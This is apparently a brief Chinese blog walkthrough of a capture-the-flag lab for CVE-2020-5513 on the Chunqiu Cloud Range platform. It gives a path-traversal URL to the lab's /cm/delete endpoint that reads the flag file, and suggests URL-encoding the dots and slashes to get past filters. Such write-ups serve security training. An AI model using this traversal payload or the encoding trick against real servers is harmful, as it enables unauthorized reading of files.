春秋云境CVE-2020-5513

1.阅读靶场介绍

这里出现了路径和文件包含字眼

那考虑到的就是在等于后面补上

../../../../../../flag完成夺旗

进入正题

2.启动靶场

靶场页面如下所示

3.poc

构造如下url

https://eci-2zehs29uc4tcgd8f6gfj.cloudeci1.ichunqiu.com:80/cm/delete?t=../../../../../../../flag

我们就可以得到如下页面

这里博主说一下假设不可以我们要尝试的就是

把../../../../../../做url编码处理

这里的.变成%2e

这里的/变成%2f

文章到此结束，感谢您宝贵的时间